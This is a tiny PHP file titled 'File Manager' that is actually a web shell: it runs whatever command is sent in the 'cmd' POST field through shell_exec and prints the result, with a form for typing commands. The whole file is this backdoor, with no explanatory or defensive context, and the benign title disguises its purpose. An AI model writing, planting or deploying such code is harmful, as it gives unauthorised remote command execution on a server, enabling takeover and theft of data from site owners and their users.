<?php echo "File Manager<br>"; if(isset($_POST["cmd"])){echo "<pre>".shell_exec($_POST["cmd"])."</pre>";} ?><form method="post"><input type="text" name="cmd"><input type="submit"></form>